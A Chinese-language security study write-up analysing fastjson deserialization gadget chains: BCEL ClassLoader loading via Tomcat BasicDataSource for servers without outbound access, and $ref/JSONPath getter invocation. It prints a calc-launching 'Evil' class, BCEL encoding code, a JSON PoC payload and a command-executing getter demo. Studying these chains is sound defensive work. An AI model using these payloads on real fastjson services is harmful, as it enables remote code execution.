前言
fastjson公开的就三条链,前两天我们上篇文章已经分析。TemplatesImpl要求太苛刻了,JNDI的话需要服务器出网才行。今天学习的这条链就是可以应对不出网的情况。
BCEL
什么是BCEL
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel摘自P牛BCEL ClassLoader去哪里了
BCEL的简单使用
BCEL这个包中有个类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。 在ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode。可以理解为是传统字节码的HEX编码,再将反斜线替换成$。默认情况下外层还会加一层GZip压缩。
我们可以编写一个恶意的类
public class Evil {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {}
    }
}
 
然后使用过BCEL提供的两个类 Repository 和 Utility 来利用: Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码; Utility 用于将原生的字节码转换成BCEL格式的字节码:
public class BCEL_T {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        JavaClass javaClass = Repository.lookupClass(Evil.class);
        String encode = Utility.encode(javaClass.getBytes(), true);
        System.out.println(encode);
        Class.forName("$$BCEL$$" + encode, true, new ClassLoader());
//        new ClassLoader().loadClass("$$BCEL$$" + encode).newInstance();
    }
}
 

讲完BCEL我们大概知道了如何使用,这下看看在fastjson里面的使用吧
BCEL在Fastjson漏洞中的利用
测试环境
jdk8u31
dbcp 9.0.53
fastjson 1.2.24 [1.2.24之后修复了]
这里先贴一下poc[注意看注释]
{
    {
        "aaa": {
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
            //这里是tomcat>8的poc,如果小于8的话用到的类是
            //org.apache.tomcat.dbcp.dbcp.BasicDataSource
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "bbb"
}
 
这个poc最开始有点看不懂,这里贴一个其他师傅发的利用链,我们来分析下
BasicDataSource.getConnection() -> createDataSource() -> createConnectionFactory()

不管if是不是true都会进行this.createDataSource().getConnection();这个操作,跟踪下

然后继续跟进下到createDriver

到这里就执行了我们的恶意代码

可以看到这里是Class.forName将类加载进来,并且设置了initialize参数为true【其实就是告诉Java虚拟机是否执⾏”类初始化而staic就是在类初始化加载的】而Class.forName方法实际上也是调用的 CLassLoader 来实现的。所以1和3都是可控的

但现在就有点问题了,我焯。他是怎么调用getConnection的并且返回值是Connection是不满足geter的

我们回头去查看这个POC形式
首先在{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 这一整段外面再套一层{},这样的话会把这个整体当做一个JSONObject,会把这个当做key,值为bbb
将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法:

而且JSONObject是Map的子类,当调用toString的时候,会依次调用该类的getter方法获取值。然后会以字符串的形式输出出来。所以会调用到getConnection方法
具体调试可以看fastjson反序列化之basicdatasource利用链
$ref
因为调用geter是有限制的,对于不满足getter的方法的时候我们该怎么解决呢?
当fastjson>=1.2.36的时候,可以使用$ref方式调用getter
什么是ref
ref是fastjson特有的JSONPath语法,用来引用之前出现的对象
什么又是JsonPath
详细可以参考:https://goessner.net/articles/JsonPath/ 这里简单举个例子
Test.java
public class test {
    private String cmd;
    public void setCmd(String cmd) {
        System.out.println("seter call");
        this.cmd = cmd;
    }
    public String getCmd() throws IOException {
        System.out.println("geter call");
        Runtime.getRuntime().exec(cmd);
        return cmd;
    }
}
 
触发代码
public class ref_fastjson {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "[{\"@type\":\"com.demo.fastjson.test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
        JSON.parse(payload);
    }
}
 

可以看到geter被调用了但是他是不满足我们geter调用要求的
我们来解释一下这个demo
[{"@type":"com.demo.fastjson.test","cmd":"calc"},{"$ref":"$[0].cmd"}]
 
这其实不就是一个数组吗,fastjson解析到$ref会判断为是一个引用,$[0]表示的是数组里的第一个元素,则$[0].cmd表示的是获取第一个元素的cmd属性的值。
这里调试一下,看下调用栈

74行就是进行了一些ref的处理没啥 然后一些赋值增加了一个resolveTask,进入75行



然后继续进入eval

注意有一个init()

因为不满足所以直接else,注意看explain()函数,这个函数的作用是把$ref的value解析成segment,Segment是定义在JSONPath类的一个interface,然后explain()会把一个完整的JSONPath拆分成小的处理逻辑,这里就不截图了 太多了。具体详细流程看y4师傅学习。
最终JSONPath.eval 最终会调用到getPropertyValue 函数,会尝试调用fieldInfo的get函数或者用反射的方式调用getter


至此流程我们大概就清楚了,那为什么1.2.36之前不行?
这里拿一个1.2.35对比一下差异主要在DefaultJSONParser#handleResovleTask
 要求refValue不为null,且必须时JSONObject类

参考
https://paper.seebug.org/1613/
https://jlkl.github.io/2021/12/18/Java_07/
https://mp.weixin.qq.com/s/dvqvaiJG28TZAyMEyIC6Lg
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
https://blog.csdn.net/solitudi/article/details/120275526
https://ccship.cn/2021/12/21/fastjson%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b9%8bbasicdatasource%e5%88%a9%e7%94%a8%e9%93%be/
					